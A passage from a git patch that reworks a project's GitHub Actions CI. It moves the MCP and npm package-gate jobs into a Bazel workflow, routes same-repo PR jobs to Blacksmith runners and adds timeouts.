timeout-minutes = %d, want at least %d (mode cache with the cache closed: ~%d minutes cold on a GitHub-hosted runner)", + bazelIntegJobName, test.TimeoutMinutes, 2*cacheClosedMinutes, cacheClosedMinutes) + } actionCapMinutes := 0 for line := range bazelrcLines(t) { if v, ok := strings.CutPrefix(line, "test:integration --test_timeout="); ok { From aaae7e6affdb3a3e657bfaea89474e076647a86d Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Sat, 3 Oct 2026 00:03:43 -0700 Subject: [PATCH 048/325] ci: package gates start after rbe, MCP pytest -n 8, gate jobs on Blacksmith (F3) (#7126) * ci(bazel): move package-mcp/package-npm gates into bazel.yml (F3) Package gates now build bd via Bazel (no --config=ci) when the rbe job enables it and fall back to go build otherwise, so forks/Dependabot/rbe-off runs are unaffected. pr.yml's CI Gate keeps PACKAGE_MCP/PACKAGE_NPM required and never-skippable, now sourced from needs.bazel.outputs.*; the retired detect-package-gates/package-mcp/package-npm pr.yml jobs and DETECT_PACKAGE_GATES are deleted. MCP pytest pins -n 8 explicitly with pytest-xdist locked via uv lock. rbe, bazel-coverage, and both required gate jobs move to Blacksmith for same-repo PRs (gate names unchanged). Also closes a gap in detect-package-gates.sh (missing bazel.yml in the force-both-gates path list, since the job definitions moved there) and wires integrations/beads-mcp's manifest/lock into scripts_test's Bazel data so the new pytest-xdist pin check runs under `bazel test` too. Co-Authored-By: Claude Sonnet 5 * fix(bazel): review fix-up for F3 package gates (SF-1, SF-2, nits) Review of 65f378d241 (~/beads-bazel-plan/f3/review.md, no blockers) found: - SF-1: the package gates' `bazel build //cmd/bd:bd_for_tests` resolved to a different output configuration (k8-fastbuild) than `bazel test --config=ci`'s bd_for_tests (k8-fastbuild-ST-..., via test:ci -> test:prcore's --@rules_go//go/config:race), so it got no action-cache reuse from the test job. Add the matching race flag to both jobs' build step; verified with cquery that both invocations now cquery to the identical bazel-out/k8-fastbuild-ST-.../bin/cmd/bd/bd_for_tests/bd path, and with a real build that it's an action-cache hit once bazel test --config=ci has run. Update the pinned Run string in pr_lanes_bazel_coverage_test.go and the impl report's cache-reuse claim. - SF-2: drop stale comments/doc text saying the package gates download bazel-ci-build-artifacts; they build their own bd now (bazel.yml, pr.yml, engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md). Nits: pin both required gates' display names in TestSameRepoBlacksmithRunners (nothing else reads job.Name, so a rename would otherwise go uncaught); pin the package jobs' Python/uv/Node setup against main.yml's copies; add timeout-minutes to both gate jobs and detect-ci-tier (same-repo PRs now run on paid Blacksmith minutes, not a free runner's 360-minute default); shut down Bazel and remove the RBE client key right after each package job packages its Bazel-built bd (nothing downstream needs either); add scripts/ci/package-bazel-bd.sh to detect-package-gates.sh's both-gates trigger arm and pin it in TestDetectPackageGatesCoversBazelWorkflow. Every fix mutation-tested (mutate -> test fails with a specific message -> restore from a /tmp backup, diff-confirmed identical -> test passes again). Co-Authored-By: Claude Sonnet 5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Sonnet 5 --- .github/workflows/bazel.yml | 281 +++++++++++++++++++++++- .github/workflows/pr-risk.yml | 28 ++- .github/workflows/pr.yml | 198 ++++------------- BUILD.bazel | 14 ++ engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 35 ++- integrations/beads-mcp/pyproject.toml | 1 + integrations/beads-mcp/uv.lock | 38 +++- scripts/BUILD.bazel | 1 + scripts/bazel_cache_mode_test.go | 8 + scripts/bazel_farm_workflow_test.go | 7 + scripts/ci/detect-package-gates.sh | 7 +- scripts/ci/package-bazel-bd.sh | 7 +- scripts/ci/package-mcp.sh | 6 +- scripts/ci_workflow_test.go | 233 ++++++++++++++++++-- scripts/pr_lanes_bazel_coverage_test.go | 269 +++++++++++++++++------ scripts/pr_risk_bazel_coverage_test.go | 18 +- 16 files changed, 867 insertions(+), 284 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 6cf4a3b54..6a6339287 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -98,8 +98,9 @@ # execution under this model. Still open: a beads-only RBE_INSTANCE. The farm # refuses client action-cache writes (only its workers write; rbe-west D2). # In pr.yml's run the bd artifact is bazel-ci-build-artifacts, so it cannot -# collide with the build-artifacts job's ci-build-artifacts; pr.yml's -# package gates consume it where build-artifacts stands down (D2 step 3). +# collide with the build-artifacts job's ci-build-artifacts. F3: the package +# gates no longer consume this artifact (they build their own bd); it is +# kept for the F3.5.3 SHA256SUMS comparison and for debugging. # # Runner cache: one entry per (.bazelversion, MODULE.bazel.lock) pair, about # 2 GB (Bazel's content-addressable --repository_cache, re-hashed on every @@ -187,6 +188,19 @@ on: type: string required: false default: "off" + # "on" (pr.yml only) runs package-mcp and package-npm in this call, + # which waits on nothing but the rbe job (F3: the legacy pr.yml jobs + # those gates used to need: detect-package-gates, build-artifacts, + # bazel-coverage, and the whole bazel call). bazel-farm.yml, nightly.yml + # and direct runs (push, dispatch) keep the default "off": main.yml + # keeps its own package jobs, and a fork-farm run has no bd artifact + # consumer waiting on these. + package-gates: + description: > + "on" (pr.yml only) runs the MCP and npm package gates in this call. + type: string + required: false + default: "off" # Only what the rbe job and setup-bazel need; callers pass them # explicitly. None is required: fork and Dependabot runs have none. secrets: @@ -229,6 +243,12 @@ on: bazel-server-storage: description: "bazel-server-storage's job.status" value: ${{ jobs.bazel-server-storage.outputs.result }} + package-mcp: + description: "package-mcp's job.status (empty unless package-gates is 'on')" + value: ${{ jobs.package-mcp.outputs.result }} + package-npm: + description: "package-npm's job.status (empty unless package-gates is 'on')" + value: ${{ jobs.package-npm.outputs.result }} # Main runs always finish (they may save the runner cache); PR runs (called # from pr.yml or bazel-farm.yml, whose own groups cancel the calling run too) @@ -255,7 +275,12 @@ jobs: # runs read vars but get no secrets, so they come out cache, not remote. rbe: name: execution mode - runs-on: ubuntu-latest + # Same-repo PRs (and merge_group/push/dispatch/schedule runs, which are + # never forks) get the org's Blacksmith pool; a pull_request_target farm + # run and any fork or Dependabot PR stay on GitHub-hosted runners. This + # job reads no repository code and holds no secret value (see below), so + # Blacksmith sees nothing sensitive either way. + runs-on: ${{ (github.event_name == 'push' || github.event_name == 'workflow_dispatch' || github.event_name == 'schedule' || github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} timeout-minutes: 5 outputs: enabled: ${{ steps.decide.outputs.enabled }} @@ -406,10 +431,11 @@ jobs: # pr.yml's build-artifacts job, built by Bazel: the same artifact name # and layout (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt). Where - # build-artifacts stands down (D2 step 3), pr.yml's package gates take - # it; its other consumers (PR Core, domain+uow) stand down there too. - # The script documents which binary and how it differs from `go - # build`'s. + # build-artifacts stands down (D2 step 3), its other consumers (PR + # Core, domain+uow) stand down there too. F3: the package gates build + # their own bd and no longer consume this artifact; it is kept for the + # F3.5.3 SHA256SUMS comparison and for debugging. The script documents + # which binary and how it differs from `go build`'s. - name: Package bd (ci-build-artifacts layout) id: bd-artifact if: ${{ always() && steps.test.outcome != 'skipped' }} @@ -1214,3 +1240,244 @@ jobs: env: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + + # F3: moved here from pr.yml so the gate depends on nothing but the rbe + # job's decision (not detect-package-gates, build-artifacts, bazel-coverage + # or the whole bazel call). Only pr.yml opts in (package-gates: "on"); + # bazel-farm.yml and nightly.yml keep the default "off" and this job does + # not run for them. Same-repo PRs get a Bazel-built bd (no --config=ci: + # only test:ci is defined in .bazelrc, so bazel build //cmd/bd:bd_for_tests + # is run directly); forks, Dependabot and rbe-off/skip runs fall back to + # `go build`, same as package-mcp.sh's own prepare_bd_binary() does when + # BEADS_TEST_BD_BINARY is unset. + package-mcp: + name: Package Gate (MCP) + needs: rbe + # 4 vCPU on purpose: pytest-xdist -n 8 measured ~2.7-3x on 4 CPUs + # (tools/f3 timing, 2026-10), well past 2 vCPU's ceiling. + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ inputs.package-gates == 'on' }} + timeout-minutes: 30 + outputs: + result: ${{ steps.result.outputs.result }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ inputs.checkout-sha }} + fetch-depth: 0 + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + + - name: Decide applicability + id: detect + env: + PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} + PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} + PUSH_BEFORE_SHA: ${{ github.event.before }} + PUSH_AFTER_SHA: ${{ github.sha }} + run: ./scripts/ci/detect-package-gates.sh + + - name: Set up Bazel + id: bazel + if: ${{ steps.detect.outputs.mcp_package == 'true' && needs.rbe.outputs.enabled == 'true' }} + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} + + # No --config=ci: only test:ci is defined in .bazelrc, and `bazel + # build --config=foo` fails when only test:foo exists. The explicit + # --@rules_go//go/config:race matches test:ci's top-level build + # setting (test:ci -> test:prcore), so bd_for_tests' race="off" + # transition lands in the same k8-fastbuild-ST-... output directory + # and action-cache key `bazel test --config=ci` already populated, + # instead of plain k8-fastbuild's; race itself still builds a non-race + # bd (verified with cquery: both configs cquery to the identical + # bazel-out/k8-fastbuild-ST-.../bin/cmd/bd/bd_for_tests/bd path). + - name: bazel build //cmd/bd:bd_for_tests + if: ${{ steps.detect.outputs.mcp_package == 'true' && needs.rbe.outputs.enabled == 'true' }} + run: bazel build --@rules_go//go/config:race //cmd/bd:bd_for_tests --remote_download_regex='.*/bin/cmd/bd/bd_for_tests/bd$' + + - name: Package the Bazel-built bd + if: ${{ steps.detect.outputs.mcp_package == 'true' && needs.rbe.outputs.enabled == 'true' }} + run: | + ./scripts/ci/package-bazel-bd.sh "$RUNNER_TEMP/bd-artifacts" + echo "BEADS_TEST_BD_BINARY=$RUNNER_TEMP/bd-artifacts/bd-linux-gms-pure" >> "$GITHUB_ENV" + # Defense in depth: nothing after this step needs the Bazel server + # or its RBE client key (uv sync and pytest run PR-controlled + # code). Shutting down also frees the JVM's memory for the 8 + # xdist workers that follow on this 4 vCPU runner. + bazel shutdown + rm -rf "$RUNNER_TEMP/bazel-ci-secret" + + - name: Set up Go + id: setup-go + if: ${{ steps.detect.outputs.mcp_package == 'true' && needs.rbe.outputs.enabled != 'true' }} + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + + - name: Restore Go module cache + if: ${{ steps.detect.outputs.mcp_package == 'true' && needs.rbe.outputs.enabled != 'true' }} + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ~/go/pkg/mod + key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} + restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- + + - name: Verify Go modules + if: ${{ steps.detect.outputs.mcp_package == 'true' && needs.rbe.outputs.enabled != 'true' }} + run: go mod verify + + - name: Restore non-race Go build cache + if: ${{ steps.detect.outputs.mcp_package == 'true' && needs.rbe.outputs.enabled != 'true' }} + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ${{ runner.temp }}/go-cache/non-race + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} + restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- + + - name: Set up Python + if: ${{ steps.detect.outputs.mcp_package == 'true' }} + uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 + with: + python-version: '3.14' + + - name: Install uv + if: ${{ steps.detect.outputs.mcp_package == 'true' }} + run: python -m pip install uv==0.11.16 + + - name: Run MCP package gate + if: ${{ steps.detect.outputs.mcp_package == 'true' }} + env: + GOCACHE: ${{ runner.temp }}/go-cache/non-race + run: make ci-package-mcp + + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too; package-gates == 'on' is the only skip condition + # (the job itself), so PACKAGE_MCP is never "skipped" on pr.yml. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + + # F3: npm's twin of package-mcp above. Structurally identical apart from + # the language setup (Node instead of Python/uv) and the `make` target. + package-npm: + name: Package Gate (npm) + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} + if: ${{ inputs.package-gates == 'on' }} + timeout-minutes: 30 + outputs: + result: ${{ steps.result.outputs.result }} + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + ref: ${{ inputs.checkout-sha }} + fetch-depth: 0 + persist-credentials: false + allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + + - name: Decide applicability + id: detect + env: + PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} + PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} + PUSH_BEFORE_SHA: ${{ github.event.before }} + PUSH_AFTER_SHA: ${{ github.sha }} + run: ./scripts/ci/detect-package-gates.sh + + - name: Set up Bazel + id: bazel + if: ${{ steps.detect.outputs.npm_package == 'true' && needs.rbe.outputs.enabled == 'true' }} + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + BAZEL_FORK_CACHE: ${{ needs.rbe.outputs.mode == 'cache' && 'true' || '' }} + + # No --config=ci: only test:ci is defined in .bazelrc, and `bazel + # build --config=foo` fails when only test:foo exists. The explicit + # --@rules_go//go/config:race matches test:ci's top-level build + # setting (test:ci -> test:prcore), so bd_for_tests' race="off" + # transition lands in the same k8-fastbuild-ST-... output directory + # and action-cache key `bazel test --config=ci` already populated, + # instead of plain k8-fastbuild's; race itself still builds a non-race + # bd (verified with cquery: both configs cquery to the identical + # bazel-out/k8-fastbuild-ST-.../bin/cmd/bd/bd_for_tests/bd path). + - name: bazel build //cmd/bd:bd_for_tests + if: ${{ steps.detect.outputs.npm_package == 'true' && needs.rbe.outputs.enabled == 'true' }} + run: bazel build --@rules_go//go/config:race //cmd/bd:bd_for_tests --remote_download_regex='.*/bin/cmd/bd/bd_for_tests/bd$' + + - name: Package the Bazel-built bd + if: ${{ steps.detect.outputs.npm_package == 'true' && needs.rbe.outputs.enabled == 'true' }} + run: | + ./scripts/ci/package-bazel-bd.sh "$RUNNER_TEMP/bd-artifacts" + echo "BEADS_TEST_BD_BINARY=$RUNNER_TEMP/bd-artifacts/bd-linux-gms-pure" >> "$GITHUB_ENV" + # Defense in depth: nothing after this step needs the Bazel server + # or its RBE client key (npm install runs PR-controlled code). + bazel shutdown + rm -rf "$RUNNER_TEMP/bazel-ci-secret" + + - name: Set up Go + id: setup-go + if: ${{ steps.detect.outputs.npm_package == 'true' && needs.rbe.outputs.enabled != 'true' }} + uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 + with: + go-version-file: 'go.mod' + cache: false + + - name: Restore Go module cache + if: ${{ steps.detect.outputs.npm_package == 'true' && needs.rbe.outputs.enabled != 'true' }} + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ~/go/pkg/mod + key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} + restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- + + - name: Verify Go modules + if: ${{ steps.detect.outputs.npm_package == 'true' && needs.rbe.outputs.enabled != 'true' }} + run: go mod verify + + - name: Restore non-race Go build cache + if: ${{ steps.detect.outputs.npm_package == 'true' && needs.rbe.outputs.enabled != 'true' }} + uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 + with: + path: ${{ runner.temp }}/go-cache/non-race + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ github.sha }} + restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- + + - name: Set up Node.js + if: ${{ steps.detect.outputs.npm_package == 'true' }} + uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v6 + with: + node-version: '24' + + - name: Run npm package gate + if: ${{ steps.detect.outputs.npm_package == 'true' }} + env: + GOCACHE: ${{ runner.temp }}/go-cache/non-race + run: make ci-package-npm + + # Last step: the job's result as a workflow_call output for pr.yml's + # ci-gate. always() runs it after a failure, a timeout or a + # cancellation too; package-gates == 'on' is the only skip condition + # (the job itself), so PACKAGE_NPM is never "skipped" on pr.yml. + - name: Record job result + id: result + if: ${{ always() }} + env: + JOB_STATUS: ${{ job.status }} + run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" diff --git a/.github/workflows/pr-risk.yml b/.github/workflows/pr-risk.yml index efc5ade93..f65b665d8 100644 --- a/.github/workflows/pr-risk.yml +++ b/.github/workflows/pr-risk.yml @@ -34,7 +34,14 @@ env: jobs: detect-ci-tier: name: Detect CI tier - runs-on: ubuntu-latest + # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, + # Dependabot and any other event stay GitHub-hosted. This job restores no + # GitHub-saved cache. + runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + # F3: now on Blacksmith for same-repo PRs; a hang used to burn only the + # default 360 minutes of a free GitHub-hosted runner, now Blacksmith + # minutes too. + timeout-minutes: 10 outputs: full_embedded: ${{ steps.tier.outputs.full_embedded }} reason: ${{ steps.tier.outputs.reason }} @@ -88,7 +95,13 @@ jobs: # variable and runs no repository code. bazel-coverage: name: Bazel tier coverage - runs-on: ubuntu-latest + # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, + # Dependabot and any other event stay GitHub-hosted. This job restores no + # GitHub-saved cache, so Blacksmith's inability to see one does not cost + # it anything. Must stay byte-identical to pr.yml's copy + # (TestPRRiskBazelCoverageJob) and to the TestSameRepoBlacksmithRunners + # pin. + runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} timeout-minutes: 5 outputs: embedded: ${{ steps.decide.outputs.embedded }} @@ -555,7 +568,16 @@ jobs: ci-gate: name: PR Risk Gate / Required - runs-on: ubuntu-latest + # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, + # Dependabot and any other event stay GitHub-hosted. This job restores no + # GitHub-saved cache. Must match the TestSameRepoBlacksmithRunners pin; + # the gate's NAME must never change (ruleset requires exactly "PR Risk + # Gate / Required"). + runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + # F3: now on Blacksmith for same-repo PRs; a hang used to burn only the + # default 360 minutes of a free GitHub-hosted runner, now Blacksmith + # minutes too. + timeout-minutes: 10 needs: - detect-ci-tier - bazel-coverage diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index a6f3e55c8..219d46274 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -38,9 +38,10 @@ jobs: # D2 step 3: stands down where bazel-coverage says pr_lanes (same-repo, # non-Dependabot PRs while BAZEL_RETIRES_LEGACY_PR_LANES is "true"): its - # consumers then stand down too, or (the package gates) take bazel.yml's - # bazel-ci-build-artifacts, the same layout built by Bazel / - # test, which ci-gate then requires to have run remotely and passed. + # consumers then stand down too. F3: the package gates (package-mcp, + # package-npm) are no longer among those consumers - they moved into + # bazel.yml and build their own bd (Bazel-built on same-repo PRs, `go + # build` otherwise), needing only the call's rbe job. build-artifacts: name: Build Artifacts runs-on: ubuntu-latest @@ -733,154 +734,10 @@ jobs: fi echo "No .beads/issues.jsonl changes detected" - detect-package-gates: - name: Detect package gates - runs-on: ubuntu-latest - outputs: - mcp_package: ${{ steps.detect.outputs.mcp_package }} - npm_package: ${{ steps.detect.outputs.npm_package }} - reason: ${{ steps.detect.outputs.reason }} - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - with: - fetch-depth: 0 - - - name: Decide package gates - id: detect - env: - PR_BASE_SHA: ${{ github.event.pull_request.base.sha }} - PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} - PUSH_BEFORE_SHA: ${{ github.event.before }} - PUSH_AFTER_SHA: ${{ github.sha }} - run: ./scripts/ci/detect-package-gates.sh - - package-mcp: - name: Package Gate (MCP) - runs-on: ubuntu-latest - # D2 step 3: where bazel-coverage says pr_lanes, build-artifacts stands - # down and this gate takes the Bazel-built bd (bazel-ci-build-artifacts, - # uploaded by the bazel call's `test` lane), so it waits for the call. - needs: [detect-package-gates, build-artifacts, bazel-coverage, bazel] - if: ${{ !cancelled() && needs.detect-package-gates.result == 'success' && needs.bazel-coverage.result == 'success' && (needs.bazel-coverage.outputs.pr_lanes == 'true' || needs.build-artifacts.result == 'success') }} - steps: - - name: Check applicability - id: applicability - run: | - echo "run=${{ needs.detect-package-gates.outputs.mcp_package }}" >> "$GITHUB_OUTPUT" - if [[ "${{ needs.detect-package-gates.outputs.mcp_package }}" != "true" ]]; then - echo "MCP package gate is not applicable: ${{ needs.detect-package-gates.outputs.reason }}" - fi - - # D2 step 3: where build-artifacts stood down, the bd comes from the - # bazel call's `test` lane, which runs only in mode remote; say so - # instead of failing on a missing artifact (ci-gate is red then too, - # BAZEL_PR_LANES_RETIRED). - - name: Check the Bazel-built bd exists - if: steps.applicability.outputs.run == 'true' && needs.bazel-coverage.outputs.pr_lanes == 'true' - env: - BAZEL_RBE_MODE: ${{ needs.bazel.outputs.rbe-mode }} - run: | - if [[ "$BAZEL_RBE_MODE" != "remote" ]]; then - echo "::error::Build Artifacts stood down for Bazel / test (BAZEL_RETIRES_LEGACY_PR_LANES), but the Bazel call ran in mode '${BAZEL_RBE_MODE:-none}', so no bd was built for this gate. See BAZEL_PR_LANES_RETIRED in CI Gate / Required." - exit 1 - fi - - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - if: steps.applicability.outputs.run == 'true' - - - name: Set up Python - if: steps.applicability.outputs.run == 'true' - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 - with: - python-version: '3.14' - - - name: Install uv - if: steps.applicability.outputs.run == 'true' - run: python -m pip install uv==0.11.16 - - - name: Download build artifacts - if: steps.applicability.outputs.run == 'true' - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ${{ needs.bazel-coverage.outputs.pr_lanes == 'true' && 'bazel-ci-build-artifacts' || 'ci-build-artifacts' }} - path: ci-build-artifacts - - - name: Verify build artifacts - if: steps.applicability.outputs.run == 'true' - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Run MCP package gate - if: steps.applicability.outputs.run == 'true' - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - run: make ci-package-mcp - - package-npm: - name: Package Gate (npm) - runs-on: ubuntu-latest - # D2 step 3: where bazel-coverage says pr_lanes, build-artifacts stands - # down and this gate takes the Bazel-built bd (bazel-ci-build-artifacts, - # uploaded by the bazel call's `test` lane), so it waits for the call. - needs: [detect-package-gates, build-artifacts, bazel-coverage, bazel] - if: ${{ !cancelled() && needs.detect-package-gates.result == 'success' && needs.bazel-coverage.result == 'success' && (needs.bazel-coverage.outputs.pr_lanes == 'true' || needs.build-artifacts.result == 'success') }} - steps: - - name: Check applicability - id: applicability - run: | - echo "run=${{ needs.detect-package-gates.outputs.npm_package }}" >> "$GITHUB_OUTPUT" - if [[ "${{ needs.detect-package-gates.outputs.npm_package }}" != "true" ]]; then - echo "npm package gate is not applicable: ${{ needs.detect-package-gates.outputs.reason }}" - fi - - # D2 step 3: where build-artifacts stood down, the bd comes from the - # bazel call's `test` lane, which runs only in mode remote; say so - # instead of failing on a missing artifact (ci-gate is red then too, - # BAZEL_PR_LANES_RETIRED). - - name: Check the Bazel-built bd exists - if: steps.applicability.outputs.run == 'true' && needs.bazel-coverage.outputs.pr_lanes == 'true' - env: - BAZEL_RBE_MODE: ${{ needs.bazel.outputs.rbe-mode }} - run: | - if [[ "$BAZEL_RBE_MODE" != "remote" ]]; then - echo "::error::Build Artifacts stood down for Bazel / test (BAZEL_RETIRES_LEGACY_PR_LANES), but the Bazel call ran in mode '${BAZEL_RBE_MODE:-none}', so no bd was built for this gate. See BAZEL_PR_LANES_RETIRED in CI Gate / Required." - exit 1 - fi - - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - if: steps.applicability.outputs.run == 'true' - - - name: Set up Node.js - if: steps.applicability.outputs.run == 'true' - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v6 - with: - node-version: '24' - - - name: Download build artifacts - if: steps.applicability.outputs.run == 'true' - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: ${{ needs.bazel-coverage.outputs.pr_lanes == 'true' && 'bazel-ci-build-artifacts' || 'ci-build-artifacts' }} - path: ci-build-artifacts - - - name: Verify build artifacts - if: steps.applicability.outputs.run == 'true' - run: | - set -euo pipefail - cd ci-build-artifacts - sha256sum -c SHA256SUMS - chmod +x bd-linux-gms-pure - - - name: Run npm package gate - if: steps.applicability.outputs.run == 'true' - env: - BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure - run: make ci-package-npm - - + # F3: package-mcp and package-npm (and the detect job that fed them) moved + # into bazel.yml, which pr.yml calls with package-gates: "on" below. They + # now depend on nothing but the rbe job's decision, so they no longer wait + # on build-artifacts, bazel-coverage or the rest of the bazel call. pr-policy-wrapper: name: PR Policy (wrapper timing) runs-on: ubuntu-latest @@ -1972,7 +1829,9 @@ jobs: # same-repo PRs run it remotely, fork and Dependabot PRs locally with the # read-only cache. Its bd artifact is renamed # (bazel-ci-build-artifacts) so it cannot collide with build-artifacts' - # upload; the package gates take it where build-artifacts stands down. + # upload. F3: the package gates build their own bd (via this call's rbe + # job) and do not consume this artifact; it is kept for the F3.5.3 + # SHA256SUMS comparison and for debugging. bazel: name: Bazel permissions: @@ -1986,6 +1845,9 @@ jobs: with: build-artifact-name: bazel-ci-build-artifacts integration: "on" + # F3: only pr.yml opts in; the package-mcp/package-npm jobs run inside + # this call, needing only its rbe job. + package-gates: "on" # D2: pr-risk.yml's bazel-coverage job, verbatim (policy-tested # identical). Where it says a tier is covered, PR Risk skips that tier's @@ -1995,7 +1857,13 @@ jobs: # lanes to have run remotely and passed in this run. bazel-coverage: name: Bazel tier coverage - runs-on: ubuntu-latest + # F3: same-repo PRs and merge_group get the org's Blacksmith pool; forks, + # Dependabot and any other event stay GitHub-hosted. This job restores no + # GitHub-saved cache, so Blacksmith's inability to see one does not cost + # it anything. Must stay byte-identical to pr-risk.yml's copy + # (TestPRRiskBazelCoverageJob) and to the TestSameRepoBlacksmithRunners + # pin. + runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 